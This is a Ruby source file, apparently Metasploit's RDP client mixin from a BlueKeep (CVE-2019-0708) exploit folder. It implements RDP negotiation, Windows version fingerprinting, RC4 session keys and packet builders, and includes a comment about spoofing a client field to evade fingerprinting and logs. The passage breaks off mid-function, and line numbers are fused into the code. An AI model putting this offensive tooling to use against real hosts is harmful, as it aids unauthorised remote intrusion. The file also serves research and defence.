Path: blob/master/BlueKeep/cve_2019_0708_bluekeep_rce/rdp.rb
1306 views
# -*- coding: binary -*-12module Msf34###5#6# This module exposes methods for interacting with a remote RDP service7#8###9module Exploit::Remote::RDP10require 'rc4'11include Msf::Exploit::Remote::Tcp1213#14# Creates an instance of a RDP exploit module.15#16def initialize(info = {})17super18register_options(19[20OptString.new('RDP_USER', [ false, 'The username to report during connect, UNSET = random']),21OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connect, UNSET = random', 'rdesktop']),22OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connect']),23OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connect', '192.168.0.100']),24Opt::RPORT(3389)25], Msf::Exploit::Remote::RDP)26end272829# used to abruptly abort scanner for a given host30class RdpCommunicationError < StandardError31end3233#34# Constants35#36class RDPConstants37SSL_REQUIRED_BY_SERVER = 138SSL_NOT_ALLOWED_BY_SERVER = 239SSL_CERT_NOT_ON_SERVER = 340INCONSISTENT_FLAGS = 441HYBRID_REQUIRED_BY_SERVER = 542SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 64344PROTOCOL_RDP = 045PROTOCOL_SSL = 146PROTOCOL_HYBRID = 247PROTOCOL_RDSTLS = 448PROTOCOL_HYBRID_EX = 84950RDP_NEG_PROTOCOL = {510 => "PROTOCOL_RDP",521 => "PROTOCOL_SSL",532 => "PROTOCOL_HYBRID",544 => "PROTOCOL_RDSTLS",558 => "PROTOCOL_HYBRID_EX"56}5758RDP_NEG_FAILURE = {591 => "SSL_REQUIRED_BY_SERVER",602 => "SSL_NOT_ALLOWED_BY_SERVER",613 => "SSL_CERT_NOT_ON_SERVER",624 => "INCONSISTENT_FLAGS",635 => "HYBRID_REQUIRED_BY_SERVER",646 => "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"65}6667REDIRECTION_SUPPORTED = 0x168REDIRECTION_VERSION3 = 0x2 << 269REDIRECTION_VERSION4 = 0x3 << 270REDIRECTION_VERSION5 = 0x4 << 27172ENCRYPTION_40BIT = 0x0173ENCRYPTION_128BIT = 0x0274ENCRYPTION_56BIT = 0x0875ENCRYPTION_FIPS = 0x107677CHAN_INITIALIZED = 0x8000000078CHAN_ENCRYPT_RDP = 0x4000000079CHAN_ENCRYPT_SC = 0x2000000080CHAN_ENCRYPT_CS = 0x1000000081CHAN_PRI_HIGH = 0x0800000082CHAN_PRI_MED = 0x0400000083CHAN_PRI_LOW = 0x0200000084CHAN_COMPRESS_RDP = 0x0080000085CHAN_COMPRESS = 0x0040000086CHAN_SHOW_PROTOCOL = 0x0020000087CHAN_REMOTE_CONTROL_PERSISTENT = 0x001000008889CHAN_FLAG_FIRST = 0x0190CHAN_FLAG_LAST = 0x0291CHAN_FLAG_SHOW_PROTOCOL = 0x109293RDPDR_CTYP_CORE = 0x44729495PAKID_CORE_SERVER_ANNOUNCE = 0x496e96PAKID_CORE_SERVER_CAPABILITY = 0x535097PAKID_CORE_CLIENTID_CONFIRM = 0x434398PAKID_CORE_CLIENT_NAME = 0x434e99PAKID_CORE_DEVICELIST_ANNOUNCE = 0x4441100end101102def rdp_connect103self.rdp_sock = connect(false)104self.rdp_sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)105end106107108def rdp_disconnect109disconnect(self.rdp_sock)110self.rdp_sock = nil111end112113def rdp_send(data)114self.rdp_sock.put(data)115end116117def rdp_recv(length = -1, timeout = 5)118res = self.rdp_sock.get_once(length, timeout)119raise RdpCommunicationError unless res # nil due to a timeout120121res122rescue EOFError123raise RdpCommunicationError124end125126def rdp_send_recv(data)127rdp_send(data)128rdp_recv129end130131# Connect and perform fingerprinting of the RDP service132#133# Note: NLA is required to detect the product_version134#135# @return [Boolean] Is service RDP136# @return [Hash] Version information137def rdp_fingerprint138peer_info = {}139# warning: if rdp_check_protocol starts handling NLA, this will need to be updated140is_rdp, server_selected_proto = rdp_check_protocol(RDPConstants::PROTOCOL_SSL | RDPConstants::PROTOCOL_HYBRID | RDPConstants::PROTOCOL_HYBRID_EX)141return false, nil unless is_rdp142return true, peer_info unless [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto143144swap_sock_plain_to_ssl145ntlm_negotiate_blob = '' # see: https://fadedlab.wordpress.com/2019/06/13/using-nmap-to-extract-windows-info-from-rdp/146ntlm_negotiate_blob << "\x30\x37\xa0\x03\x02\x01\x60\xa1\x30\x30\x2e\x30\x2c\xa0\x2a\x04\x28"147ntlm_negotiate_blob << "\x4e\x54\x4c\x4d\x53\x53\x50\x00" # Identifier - NTLMSSP148ntlm_negotiate_blob << "\x01\x00\x00\x00" # Type: NTLMSSP Negotiate - 01149ntlm_negotiate_blob << "\xb7\x82\x08\xe2" # Flags (NEGOTIATE_SIGN_ALWAYS | NEGOTIATE_NTLM | NEGOTIATE_SIGN | REQUEST_TARGET | NEGOTIATE_UNICODE)150ntlm_negotiate_blob << "\x00\x00" # DomainNameLen151ntlm_negotiate_blob << "\x00\x00" # DomainNameMaxLen152ntlm_negotiate_blob << "\x00\x00\x00\x00" # DomainNameBufferOffset153ntlm_negotiate_blob << "\x00\x00" # WorkstationLen154ntlm_negotiate_blob << "\x00\x00" # WorkstationMaxLen155ntlm_negotiate_blob << "\x00\x00\x00\x00" # WorkstationBufferOffset156ntlm_negotiate_blob << "\x0a" # ProductMajorVersion = 10157ntlm_negotiate_blob << "\x00" # ProductMinorVersion = 0158ntlm_negotiate_blob << "\x63\x45" # ProductBuild = 0x4563 = 17763159ntlm_negotiate_blob << "\x00\x00\x00" # Reserved160ntlm_negotiate_blob << "\x0f" # NTLMRevision = 5 = NTLMSSP_REVISION_W2K3161resp = rdp_send_recv(ntlm_negotiate_blob)162163ntlmssp_start = resp.index('NTLMSSP')164if ntlmssp_start165ntlmssp = NTLM_MESSAGE::parse(resp[ntlmssp_start..-1])166version = ntlmssp.padding.bytes167peer_info[:product_version] = "#{version[0]}.#{version[1]}.#{version[2] | (version[3] << 8)}"168end169170return is_rdp, peer_info171end172173def rdp_dispatch_loop174while rdp_sock do175rdp_handle_packet(rdp_recv)176end177end178179def rdp_create_channel_msg(chan_user_id, chan_id, data, flags = 3, data_length = nil)180data_length ||= data.length181182pdu = [183[25 << 2].pack('C'), # MCS send data request structure, choice 25184[self.rdp_user_id, chan_id].pack('S>S>'), # MCS send data request structure, choice 25185"\x70", # Wut (security header)186per_data(187[data_length].pack('<L'),188[flags].pack('<L'),189data190)191].join('')192193build_data_tpdu(pdu)194end195196def rdp_send_channel(chan_user_id, chan_id, data, flags = 3, data_length = nil)197tpkt = rdp_create_channel_msg(chan_user_id, chan_id, data, flags, data_length)198rdp_send(tpkt)199end200201def rdp_terminate202body = "\x21\x80" # user requested disconnect provider ultimatum203204rdp_send(build_data_tpdu(body))205end206207# Connect and detect security protocol208#209# Note: NLA is detected but not supported yet210#211# @return [Boolean] Is service RDP212# @return [RDPConstants] Protocol supported213def rdp_check_protocol(req_proto = RDPConstants::PROTOCOL_SSL)214if datastore['RDP_USER']215@user_name = datastore['RDP_USER']216else217@user_name = Rex::Text.rand_text_alpha(7)218end219220if datastore['RDP_DOMAIN']221@domain = datastore['RDP_DOMAIN']222else223@domain = Rex::Text.rand_text_alpha(7)224end225226if datastore['RDP_CLIENT_NAME']227@computer_name = datastore['RDP_CLIENT_NAME']228else229@computer_name = Rex::Text.rand_text_alpha(15)230end231232@ip_address = datastore['RDP_CLIENT_IP']233234# code to check if RDP is open or not235vprint_status("Verifying RDP protocol...")236237vprint_status("Attempting to connect using TLS security")238res = rdp_send_recv(pdu_negotiation_request(@user_name, req_proto))239240# return true if the response is a X.224 Connect Confirm241# We can't use a check for RDP Negotiation Response because WinXP excludes it242if res243result, err_msg = rdp_parse_negotiation_response(res)244return true, result if result245246# No current support for NLA, nothing to do here247return true, RDPConstants::PROTOCOL_HYBRID if err_msg == 'HYBRID_REQUIRED_BY_SERVER'248249if err_msg == "Negotiation Response packet too short."250vprint_status("Attempt to connect with TLS failed but looks like the target is Windows XP")251else252vprint_status("Attempt to connect with TLS failed with error: #{err_msg}")253end254255if ["SSL_NOT_ALLOWED_BY_SERVER", "Negotiation Response packet too short."].include? err_msg256# This happens if the server is configured to ONLY permit RDP Security257vprint_status("Attempting to connect using Standard RDP security")258rdp_disconnect259rdp_connect260res = rdp_send_recv(pdu_negotiation_request(@user_name, RDPConstants::PROTOCOL_RDP))261262if res263result, err_msg = rdp_parse_negotiation_response(res)264return true, result if result265266# Windows XP doesn't return the standard Negotiation Response packet267# but we at least know this was RDP since the packet contained a268# Connect-Confirm response (0xd0).269if err_msg == "Negotiation Response packet too short."270return true, RDPConstants::PROTOCOL_RDP271end272273vprint_status("Attempt to connect with Standard RDP failed with error #{err_msg}")274end275end276end277278return false, 0279end280281# Negotiate security protocol and begin session building282#283# @return [Boolean] success284def rdp_negotiate_security(channels, req_proto = RDPConstants::PROTOCOL_SSL)285if req_proto == RDPConstants::PROTOCOL_SSL286swap_sock_plain_to_ssl287res = rdp_send_recv(pdu_connect_initial(channels, req_proto, @computer_name))288elsif req_proto == RDPConstants::PROTOCOL_RDP289res = rdp_send_recv(pdu_connect_initial(channels, req_proto, @computer_name))290rsmod, rsexp, _rsran, server_rand, bitlen = rdp_parse_connect_response(res)291elsif [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(req_proto)292vprint_status("NLA Security protocol unsupported at this time.")293return false294else295vprint_error("Unknown protocol requested (#{req_proto}).")296return false297end298299# erect domain and attach user300vprint_status("Sending erect domain request")301rdp_send(pdu_erect_domain_request)302res = rdp_send_recv(pdu_attach_user_request)303304self.rdp_user_id = res[9, 2].unpack("n").first305306# send channel requests307[1009, 1003, 1004, 1005, 1006, 1007, 1008].each do |chan|308rdp_send_recv(pdu_channel_join_request(self.rdp_user_id, chan))309end310311if req_proto == RDPConstants::PROTOCOL_RDP312@rdp_sec = true313314# 5.3.4 Client Random Value315client_rand = ''31632.times { client_rand << rand(0..255) }317rcran = bytes_to_bignum(client_rand)318319vprint_status("Sending security exchange PDU")320rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))321322# We aren't decrypting anything at this point. Leave the variables here323# to make it easier to understand in the future.324rc4encstart, _rc4decstart, @hmackey, _sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)325326@rc4enckey = RC4.new(rc4encstart)327end328329return true330end331332# Finish building session after all security is negotiated333def rdp_establish_session334vprint_status("Sending client info PDU")335res = rdp_send_recv(rdp_build_pkt(pdu_client_info(@user_name, @domain, @ip_address), "\x03\xeb", true))336vprint_status("Received License packet")337338# Windows XP sometimes sends a very large license packet. This is likely339# some form of license error. When it does this it doesn't send a Server340# Demand packet. If we wait on one we will time out here and error. We341# can still successfully check for vulnerability anyway.342if res.length <= 34343vprint_status("Waiting for Server Demand packet")344_res = rdp_recv345vprint_status("Received Server Demand packet")346end347348vprint_status("Sending client confirm active PDU")349rdp_send(rdp_build_pkt(pdu_client_confirm_active))350351vprint_status("Sending client synchronize PDU")352vprint_status("Sending client control cooperate PDU")353# Unsure why we're using 1009 here but it works.354synch = rdp_build_pkt(pdu_client_synchronize(1009))355coop = rdp_build_pkt(pdu_client_control_cooperate)356rdp_send(synch + coop)357358vprint_status("Sending client control request control PDU")359rdp_send(rdp_build_pkt(pdu_client_control_request))360361vprint_status("Sending client input sychronize PDU")362rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize))363364vprint_status("Sending client font list PDU")365rdp_send(rdp_build_pkt(pdu_client_font_list))366end367368#369# Protocol parsers370#371372# Parse RDP Negotiation Data - 2.2.1.2373# Reference: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/13757f8f-66db-4273-9d2c-385c33b1e483374# @return [String, nil] String representation of the Selected Protocol or nil on failure375# @return [String] Error message376def rdp_parse_negotiation_response(data)377return false, "Response is not an RDP Negotiation Response packet." unless data.match("\x03\x00\x00..\xd0")378return false, "Negotiation Response packet too short." if data.length < 19379380response_code = data[11].unpack("C")[0]381382if response_code == 2 # TYPE_RDP_NEG_RSP383# RDP Negotiation Response - 2.2.1.2.1384server_selected_proto = data[15..18].unpack("L<")[0]385386proto_label = RDPConstants::RDP_NEG_PROTOCOL[server_selected_proto]387return server_selected_proto, nil if proto_label388389return nil, "Unknown protocol in Negotiation Response: #{server_selected_proto}"390391elsif response_code == 3 # TYPE_RDP_NEG_FAILURE392# RDP Negotiation Failure - 2.2.1.2.2393failure_code = data[15..18].unpack("L<")[0]394return nil, RDPConstants::RDP_NEG_FAILURE[failure_code]395else396return nil, "Unknown Negotiation Response code: #{response_code}"397end398end399400# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c401# Parse Server MCS Connect Response PUD - 2.2.1.4402def rdp_parse_connect_response(pkt)403ptr = 0404rdp_pkt = pkt[0x49..pkt.length]405406while ptr < rdp_pkt.length407header_type = rdp_pkt[ptr..ptr + 1]408header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]409410if header_type == "\x02\x0c"411412server_random = rdp_pkt[ptr + 20..ptr + 51]413public_exponent = rdp_pkt[ptr + 84..ptr + 87]414415rsa_magic = rdp_pkt[ptr + 68..ptr + 71]416if rsa_magic != "RSA1"417print_error("Server cert isn't RSA, this scenario isn't supported (yet).")418raise RdpCommunicationError419end420421bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8422modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]423end424425ptr += header_length426end427428# vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")429# vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")430# vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")431432rsmod = bytes_to_bignum(modulus)433rsexp = bytes_to_bignum(public_exponent)434rsran = bytes_to_bignum(server_random)435436# vprint_status("MODULUS = #{bin_to_hex(modulus)} - #{rsmod.to_s}")437# vprint_status("EXPONENT = #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")438# vprint_status("SVRANDOM = #{bin_to_hex(server_random)} - #{rsran.to_s}")439440return rsmod, rsexp, rsran, server_random, bitlen441end442443#444# Encryption: Standard RDP Security445#446447# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94448# mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"449# data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"450# hmac = rdp_hmac(mac_salt_key, data_content) # == hexlified: "22d5aeb486994a0c785dc929a2855923"451def rdp_hmac(mac_salt_key, data_content)452sha1 = Digest::SHA1.new453md5 = Digest::MD5.new454455pad1 = "\x36" * 40456pad2 = "\x5c" * 48457458sha1 << mac_salt_key459sha1 << pad1460sha1 << [data_content.length].pack('<L')461sha1 << data_content462463md5 << mac_salt_key464md5 << pad2465md5 << [sha1.hexdigest].pack("H*")466467[md5.hexdigest].pack("H*")468end469470# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f471# SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))472def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)473sha1 = Digest::SHA1.new474md5 = Digest::MD5.new475476sha1 << i_bytes477sha1 << s_bytes478sha1 << client_random_bytes479sha1 << server_random_bytes480481md5 << s_bytes482md5 << [sha1.hexdigest].pack("H*")483484[md5.hexdigest].pack("H*")485end486487# FinalHash(K) = MD5(K + ClientRandom + ServerRandom)488def rdp_final_hash(k, client_random_bytes, server_random_bytes)489md5 = Digest::MD5.new490491md5 << k492md5 << client_random_bytes493md5 << server_random_bytes494495[md5.hexdigest].pack("H*")496end497498def rdp_calculate_rc4_keys(client_random, server_random)499# preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom)500preMasterSecret = client_random[0..23] + server_random[0..23]501502# PreMasterHash(I) = SaltedHash(preMasterSecret, I)503# MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343)504masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)505506# MasterHash(I) = SaltedHash(MasterSecret, I)507# SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A)508sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)509510# InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob))511initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)512513# InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob))514initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)515516mac_key = sessionKeyBlob[0..15]517518return initialClientEncryptKey128, initialClientDecryptKey128, mac_key, sessionKeyBlob519end520521def rsa_encrypt(bignum, rsexp, rsmod)522(bignum ** rsexp) % rsmod523end524525def rdp_rc4_crypt(rc4obj, data)526rc4obj.encrypt(data)527end528529def bytes_to_bignum(bytes_val, order = "little")530bytes = bin_to_hex(bytes_val)531if order == "little"532bytes = bytes.scan(/../).reverse.join('')533end534s = "0x" + bytes535s.to_i(16)536end537538# https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110539def int_to_bytestring( int_val, num_chars = nil )540unless num_chars541bits_needed = Math.log(int_val) / Math.log(2)542num_chars = ( bits_needed / 8.0 ).ceil543end544if pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[num_chars]545[int_val].pack(pack_code)546else547a = (0..(num_chars)).map{ |i|548(( int_val >> i*8 ) & 0xFF ).chr549}.join550a[0..-2] # seems legit lol551end552end553554def bin_to_hex(str_val)555str_val.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join556end557558559#560# Protocol Data Unit definitions and helpers561#562563# Build the X.224 packet, encrypt with Standard RDP Security as needed564# default channel_id = 0x03eb = 1003565def rdp_build_pkt(data, channel_id = "\x03\xeb", client_info = false)566flags = 0567flags |= 0b1000 if @rdp_sec # Set SEC_ENCRYPT568flags |= 0b1000000 if client_info # Set SEC_INFO_PKT569570pdu = ""571572# TS_SECURITY_HEADER - 2.2.8.1.1.2.1573# Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs574if client_info || @rdp_sec575pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT576pdu << "\x00\x00" # flagsHi577end578579if @rdp_sec580# Encrypt the payload with RDP Standard Encryption581pdu << rdp_hmac(@hmackey, data)[0..7]582pdu << rdp_rc4_crypt(@rc4enckey, data)583else584pdu << data585end586587user_data_len = pdu.length588udl_with_flag = 0x8000 | user_data_len589590pkt = "\x64" # sendDataRequest591pkt << "\x00\x08" # intiator userId .. TODO: for a functional client this isn't static592pkt << channel_id # channelId593pkt << "\x70" # dataPriority594pkt << [udl_with_flag].pack("S>")595pkt << pdu596597build_data_tpdu(pkt)598end599600# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b601# Virtual Channel PDU 2.2.6.1602def build_virtual_channel_pdu(flags, data)603data_len = data.length604605[data_len].pack("L<") + # length606[flags].pack("L<") + # flags607data608end609610# Builds x.224 Data (DT) TPDU - Section 13.7611def build_data_tpdu(data)612tpkt_length = data.length + 7613614"\x03\x00" + # TPKT Header version 03, reserved 0615[tpkt_length].pack("S>") + # TPKT length616"\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)617data618end619620# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10621# Client X.224 Connect Request PDU - 2.2.1.1622def pdu_negotiation_request(user_name = "", requested_protocols = 0)623# Blank username is ok, nil = random624user_name = Rex::Text.rand_text_alpha(12) if user_name.nil?625tpkt_len = user_name.length + 38626x224_len = user_name.length + 33627628"\x03\x00" + # TPKT Header version 03, reserved 0629[tpkt_len].pack("S>") + # TPKT length: 43630[x224_len].pack("C") + # X.224 LengthIndicator631"\xe0" + # X.224 Type: Connect Request632"\x00\x00" + # dst reference633"\x00\x00" + # src reference634"\x00" + # class and options635# cookie - literal 'Cookie: mstshash='636"\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" +637user_name + # Identifier "username"638"\x0d\x0a" + # cookie terminator639"\x01\x00" + # Type: RDP Negotiation Request ( 0x01 )640"\x08\x00" + # Length641[requested_protocols].pack('L<') # requestedProtocols642end643644# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b645def pdu_connect_initial(channels, selected_proto = 0, host_name = "rdesktop")646# After negotiating TLS or NLA the connectInitial packet needs to include the647# protocol selection that the server indicated in its Negotiation Response648649pdu = [650"\x7f\x65", # T.125 Connect-Initial (BER: Application 101)651ber_data(652"\x04\x01\x01", # CallingDomainSelector: 1 (BER: OctetString)653"\x04\x01\x01", # CalledDomainSelector: 1 (BER: OctetString)654"\x01\x01\xff", # UpwaredFlag: True (BER: boolean)655656# TargetParamenters657encode_domain_selector(658max_chan_ids: 0x22,659max_user_ids: 0x2660),661# MinimumParameters662encode_domain_selector(663max_chan_ids: 0x1,664max_user_ids: 0x1,665max_token_ids: 0x1,666max_mcspdu_size: 0x0420667),668# MaximumParameters669encode_domain_selector(670max_chan_ids: 0xffff,671max_user_ids: 0xfc17,672max_token_ids: 0xffff673),674# UserData675ber_octet_string(676# T.124 GCC Connection Data (ConnectData)- PER Encoding used677per_object(oid(0, 0, 20, 124, 0, 1)),678per_data(679conf_create_req(),680per_data(681cs_core_data(client_name: host_name, selected_proto: selected_proto),682cs_cluster_data(),683cs_security_data(),684cs_network_data(channels)685)686)687)688)689].join('')690691build_data_tpdu(pdu)692end693694# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c695# Client MCS Erect Domain Request PDU - 2.2.1.5696def pdu_erect_domain_request697pdu =698"\x04" + # T.125 ErectDomainRequest699"\x01\x00" + # subHeight - length 1, value 0700"\x01\x00" # subInterval - length 1, value 0701702build_data_tpdu(pdu)703end704705# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\706# Client MCS Attach User Request PDU - 2.2.1.6707def pdu_attach_user_request708pdu = "\x28" # T.125 AttachUserRequest709710build_data_tpdu(pdu)711end712713# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b714# Client MCS Channel Join Request PDU -2.2.1.8715def pdu_channel_join_request(user1, channel_id)716pdu =717"\x38" + # T.125 ChannelJoinRequest718[user1, channel_id].pack("nn")719720build_data_tpdu(pdu)721end722723# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f724# Client Security Exchange PDU - 2.2.1.10725def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)726encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)727encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)728729bitlen += 8 # Pad with size of TS_SECURITY_PACKET header730731userdata_length = 8 + bitlen732userdata_length_low = userdata_length & 0xFF733userdata_length_high = userdata_length / 256734flags = 0x80 | userdata_length_high735736pdu =737"\x64" + # T.125 sendDataRequest738"\x00\x08" + # intiator userId739"\x03\xeb" + # channelId = 1003740"\x70" + # dataPriority = high, segmentation = begin | end741[flags].pack("C") +742[userdata_length_low].pack("C") + # UserData length743# TS_SECURITY_PACKET - 2.2.1.10.1744"\x01\x00" + # securityHeader flags745"\x00\x00" + # securityHeader flagsHi746[bitlen].pack("L<") + # TS_ length747encrypted_rcran + # encryptedClientRandom - 64 bytes748"\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)749750build_data_tpdu(pdu)751end752753# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d754# TS_INFO_PACKET - 2.2.1.11.1.1755def pdu_client_info(user_name, domain_name = "", ip_address = "")756# Max len for 4.0/6.0 servers is 44 bytes including terminator757# Max len for all other versions is 512 including terminator758# We're going to limit to 44 (21 chars + null -> unicode) here.759# Blank username is ok, nil = random760user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?761user_unicode = Rex::Text.to_unicode(user_name[0..20], 'utf-16le')762uname_len = user_unicode.length763764# Domain can can be, and for rdesktop typically is, empty.765# Max len for 4.0/5.0 servers is 52 including terminator766# Max len for all other versions is 512 including terminator767# We're going to limit to 52 (25 chars + null -> unicode) here.768domain_unicode = Rex::Text.to_unicode(domain_name[0..24], 'utf-16le')769domain_len = domain_unicode.length770771# This address value is primarily used to reduce the fields by which this772# module can be fingerprinted. It doesn't show up in Windows logs.773# clientAddress + null terminator774ip_unicode = Rex::Text.to_unicode(ip_address, 'utf-16le') + "\x00\x00"775ip_len = ip_unicode.length776777"\x00\x00\x00\x00" + # CodePage778"\x33\x01\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY779[domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator780[uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator781"\x00\x00" + # cbPassword (length value)782"\x00\x00" + # cbAlternateShell (length value)783"\x00\x00" + # cbWorkingDir (length value)784[domain_unicode].pack("a*") + # Domain785"\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain786[user_unicode].pack("a*") + # UserName787"\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName788"\x00\x00" + # Password - empty789"\x00\x00" + # AlternateShell - empty790"\x00\x00" + # WorkingDir - empty791# TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1792"\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically793[ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.794[ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode)795"\x3c\x00" + # cbClientDir (length value): 60796# clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator797"\x3c\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00" + #798"\x54\x00\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00" + #799"\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00" + #800"\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" + #801# clientTimeZone - TS_TIME_ZONE struct - 172 bytes802# These are the default values for rdesktop803"\xa4\x01\x00\x00" + # Bias804# StandardName - 'GTB,normaltid'805"\x47\x00\x54\x00\x42\x00\x2c\x00\x20\x00\x6e\x00\x6f\x00\x72\x00" + #806"\x6d\x00\x61\x00\x6c\x00\x74\x00\x69\x00\x64\x00\x00\x00\x00\x00" + #807"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #808"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #809"\x00\x00\x0a\x00\x00\x00\x05\x00\x03\x00\x00\x00\x00\x00\x00\x00" + # StandardDate - Oct 5810"\x00\x00\x00\x00" + # StandardBias811# DaylightName - 'GTB,sommartid'812"\x47\x00\x54\x00\x42\x00\x2c\x00\x20\x00\x73\x00\x6f\x00\x6d\x00" + #813"\x6d\x00\x61\x00\x72\x00\x74\x00\x69\x00\x64\x00\x00\x00\x00\x00" + #814"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #815"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #816"\x00\x00\x03\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate - Mar 3817"\xc4\xff\xff\xff" + # DaylightBias818"\x00\x00\x00\x00" + # clientSessionId819"\x27\x00\x00\x00" + # performanceFlags820"\x00\x00" # cbAutoReconnectCookie821end822823# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471824# Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1825def build_share_control_header(type, data)826total_len = data.length + 6827828[total_len].pack("S<") + # totalLength - includes all headers829[type].pack("S<") + # pduType - flags 16 bit, unsigned830"\xf1\x03" + # PDUSource: 0x03f1 = 1009831data832end833834# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31835# Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2836def build_share_data_header(type, data)837uncompressed_len = data.length + 4838839"\xea\x03\x01\x00" + # shareId: 66538840"\x00" + # pad1841"\x01" + # streamID: 